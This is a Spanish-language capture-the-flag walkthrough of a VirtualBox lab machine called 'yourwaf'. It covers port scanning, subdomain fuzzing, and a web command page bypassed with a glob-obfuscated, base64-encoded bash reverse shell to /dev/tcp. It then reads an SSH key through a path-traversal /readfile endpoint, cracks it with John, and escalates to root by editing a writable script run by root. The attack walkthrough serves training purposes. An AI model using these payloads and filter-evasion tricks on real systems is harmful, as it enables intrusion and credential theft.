Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 06:33 EDT
Nmap scan report for 192.168.5.98
Host is up (0.00055s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 1c:ec:5c:5b:fd:fc:ba:f3:4c:1b:0b:70:e6:ef:bf:12 (ECDSA)
|_ 256 26:18:c8:ec:34:aa:d5:b9:28:a1:e2:83:b0:d3:45:2e (ED25519)
80/tcp open http Apache httpd 2.4.59 ((Debian))
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.59 (Debian)
3000/tcp open http Node.js (Express middleware)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
MAC Address: 08:00:27:E8:82:66 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.34 seconds
Veremos varios puertos interesantes, entre ellos el puerto 3000 y el 80, si entramos en el puerto 80 veremos que hace el intento de cargar una pagina web, pero requiere de un dominio llamado www.yourwaf.nyx por lo que vamos añadirlo a nuestro archivo hosts.
Lo guardaremos, ahora si entramos de la siguiente forma a la pagina:
Veremos una pagina normal aparentemente de un servicio que proporciona un WAF web, por lo que vamos a realizar un poco de fuzzing a ver que encontramos.
FFUF
Si listamos los subdominios que pueda tener dicho dominio podremos encontrar lo siguiente:
Info:
Veremos que hemos descubierto un subdominio nuevo, por lo que vamos añadirlo a nuestro archivo hosts.
Lo guardamos y entraremos en dicho subdominio a ver que vemos.
Info:
Veremos que es una pagina para ejecutar comandos, si probamos un simple id veremos lo siguiente:
Pero si probamos un ls -la:
Veremos que nos bloquea el comando compuesto, por lo que vamos a probar a bypassear estos comandos, para intentar realizar una reverse shell.
Escalate user www-data
Vamos a probar a codificar el comando de la reverse shell muy ofuscado para ver si se lo traga.
Antes de enviarlo vamos a ponernos a la escucha:
Ahora si enviamos el comando anterior y volvemos a donde tenemos la escucha, veremos lo siguiente:
Veremos que ha funcionado, por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
Escalate user tester
Si investigamos un poco, veremos un archivo bastante interesante del servidor web con el que esta funcionando.
Dentro veremos un archivo llamado server.js que pone lo siguiente:
Veremos algo interesante y es que estamos viendo el TOKEN de la pagina, junto con el parametro /readfile que es interesante de nombre, si vemos como funciona veremos que lee archivos a nivel de sistema, por lo que vamos a probar lo siguiente:
No va a dar un forbidden por lo que no podremos leer ese archivo, despues de buscar un rato, probamos a realizar lo siguiente:
Info:
Vemos que obtenemos el id_rsa del usuario tester por lo que vamos a realizar lo siguiente:
Nos pedira la contraseña del id_rsa por lo que vamos a probar a crackearlo de esta forma:
Info:
Veremos que lo ha crackeado por lo que vamos a utilizarlo de esta forma:
Metemos como contraseña wafako...
Con esto veremos que estaremos dentro, por lo que leeremos la flag del usuario.
user-afa83c8bac2338a439766f22e8245636.txt
Escalate Privileges
Si volvemos donde esta la informacion de la aplicacion en el /opt acordemonos de que vimos un archivo que podia ser editable por el grupo llamado copylogs y si hacemos id:
Veremos que pertenecemos a dicho grupo, por lo que podremos realizar lo siguiente.
copylogs.sh
ecosystem.config.js
Por lo que vemos en estos archivos el primero lo podemos editar y el segundo nos esta dando la informacion de que dicho archivo que podemos editar se ejecuta cada 10 segundos por el servidor que se esta ejecutando como root, por lo que vamos añadir la siguiente linea al archivo .sh.
Añadida esta linea, vamos a ponernos a la escucha rapidamente:
Ahora si esperamos un rato, y volvemos a donde tenemos la escucha veremos lo siguiente:
Por lo que vemos seremos root, por lo que leeremos la flag de root.
nano /etc/hosts
#Dentro del nano
<IP> yourwaf.nyx www.yourwaf.nyx maintenance.yourwaf.nyx
URL = http://maintenance.yourwaf.nyx/
## id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Forbidden
You don't have permission to access this resource.
---
Apache/2.4.59 (Debian) Server at maintenance.yourwaf.nyx Port 80
echo 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1' | base64
/bin/echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuNTAvNzc3NyAwPiYxCg==' | base64 -d | /bin/bash -e # Pero lo codificamos con sustitucion
/???/e??o 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuNTAvNzc3NyAwPiYxCg==' | /???/b??e64 -d | /???/b??h -e
nc -lvnp <PORT>
listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.98] 52214
bash: cannot set terminal process group (530): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yourwaf:/var/www/maintenance.yourwaf.nyx$ whoami
whoami
www-data
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
cd /opt/nodeapp
const express = require('express')
const { exec } = require('child_process');
var path = require('path');
const app = express()
const port = 3000
const apiToken = '8c2b6a304191b8e2d81aaa5d1131d83d';
function checkApiToken(req, res, next) {
let sendApiToken = req.query["api-token"] ?? '';
if (apiToken !== sendApiToken) {
res.send("Unauthorized.")
return;
}
next();
}
app.use('/logs', (req, res) => {
let path_to_file = __dirname + '/logs/modsec_audit.log'
res.sendFile(path_to_file)
})
app.get('/', checkApiToken, (req, res) => {
res.send('API de mantenimiento!');
})
app.get('/restart', checkApiToken, (req, res) => {
exec('reboot', (error, stdout, stderr) => {
if (error) {
res.send(`exec error: ${error}`)
return;
}
res.send('Restarting server...');
});
})
app.get('/readfile', checkApiToken, (req, res) => {
let file = req.query["file"] ?? '';
if (file === '') {
res.send('Error: need file')
return;
}
if (file.indexOf('passwd') !== -1) {
res.send('ForbiddenError: Forbidden')
return;
}
let path_to_file = __dirname + file
res.sendFile(path.resolve(path_to_file))
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
ssh2john id_rsa > hash.ssh | john --wordlist=<WORDLIST> hash.ssh
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 6 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
wafako (id_rsa)
1g 0:00:02:42 DONE (2025-09-11 08:34) 0.006168g/s 56.55p/s 56.55c/s 56.55C/s okokok..pajarito
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
listening on [any] 7755 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.98] 52466
bash: no se puede establecer el grupo de proceso de terminal (3044): Función ioctl no apropiada para el dispositivo
bash: no hay control de trabajos en este shell
root@yourwaf:/opt/nodeapp# whoami
whoami
root